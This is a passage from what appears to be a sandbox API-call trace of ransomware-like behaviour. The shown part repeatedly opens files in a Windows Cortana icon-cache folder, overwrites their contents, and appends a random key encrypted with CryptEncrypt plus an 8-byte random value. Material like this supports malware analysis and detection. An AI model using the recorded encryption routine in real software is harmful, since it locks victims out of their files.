"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3db05d28-f3c3-449e-b7a6-31f664b2660e}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.967] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.967] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.968] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.968] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.968] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.968] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.969] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.969] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.969] CloseHandle (hObject=0x1af4) returned 1 [0180.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.970] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0180.970] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}", dwFileAttributes=0x80) returned 1 [0180.971] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3CE017FD-E6DA-4E49-A4D3-F69A0E563D90}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3ce017fd-e6da-4e49-a4d3-f69a0e563d90}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.971] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.971] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.972] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.972] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.973] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.973] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.973] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.973] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.973] CloseHandle (hObject=0x1af4) returned 1 [0180.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.974] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.975] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3C789AEE-6106-4384-B319-0C96E1E71678}", dwFileAttributes=0x80) returned 1 [0180.975] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{3C789AEE-6106-4384-B319-0C96E1E71678}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{3c789aee-6106-4384-b319-0c96e1e71678}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.975] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.975] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.983] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.983] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.983] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.984] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.984] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.984] CloseHandle (hObject=0x1af4) returned 1 [0180.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.986] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{33305276-2049-4128-AEEC-B9A21214B851}", dwFileAttributes=0x80) returned 1 [0180.987] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{33305276-2049-4128-AEEC-B9A21214B851}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{33305276-2049-4128-aeec-b9a21214b851}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.988] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.988] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.989] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.989] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.989] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.989] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.989] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.989] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.990] CloseHandle (hObject=0x1af4) returned 1 [0180.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.991] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.991] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2E978839-21C5-49A6-AD08-F9DAFC903070}", dwFileAttributes=0x80) returned 1 [0180.991] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2E978839-21C5-49A6-AD08-F9DAFC903070}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2e978839-21c5-49a6-ad08-f9dafc903070}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.992] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.992] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.993] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.993] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.993] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.994] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.994] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.994] CloseHandle (hObject=0x1af4) returned 1 [0180.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.995] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.995] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}", dwFileAttributes=0x80) returned 1 [0180.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2C93380E-CAC6-43B0-86B5-A8096D4CDF2D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2c93380e-cac6-43b0-86b5-a8096d4cdf2d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.996] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.996] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.007] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.007] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.007] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.007] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.007] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.007] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.007] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.008] CloseHandle (hObject=0x1af4) returned 1 [0181.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.009] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.009] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2BC99385-EF59-444C-A32A-68291A8E5017}", dwFileAttributes=0x80) returned 1 [0181.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2BC99385-EF59-444C-A32A-68291A8E5017}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2bc99385-ef59-444c-a32a-68291a8e5017}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.010] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.010] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.017] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.017] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.017] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.018] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.018] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.018] CloseHandle (hObject=0x1af4) returned 1 [0181.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0181.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.020] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2ADB8C14-DCB4-40AE-8D64-88007C912021}", dwFileAttributes=0x80) returned 1 [0181.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{2ADB8C14-DCB4-40AE-8D64-88007C912021}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{2adb8c14-dcb4-40ae-8d64-88007c912021}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.021] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.021] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.022] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.022] WriteFile (in: hFile=0x1af4, lpBuffer=0x30d80d8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d80d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.022] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0181.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.022] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.023] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.023] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.023] CloseHandle (hObject=0x1af4) returned 1 [0181.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.025] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.025] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{27F05FEC-A9C6-4C1E-B218-39AC437A0419}", dwFileAttributes=0x80) returned 1 [0181.026] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{27F05FEC-A9C6-4C1E-B218-39AC437A0419}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{27f05fec-a9c6-4c1e-b218-39ac437a0419}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0181.026] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0181.026] ReadFile (in: hFile=0x1af4, lpBuffer=0x30d7038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0181.028] SetFilePointer 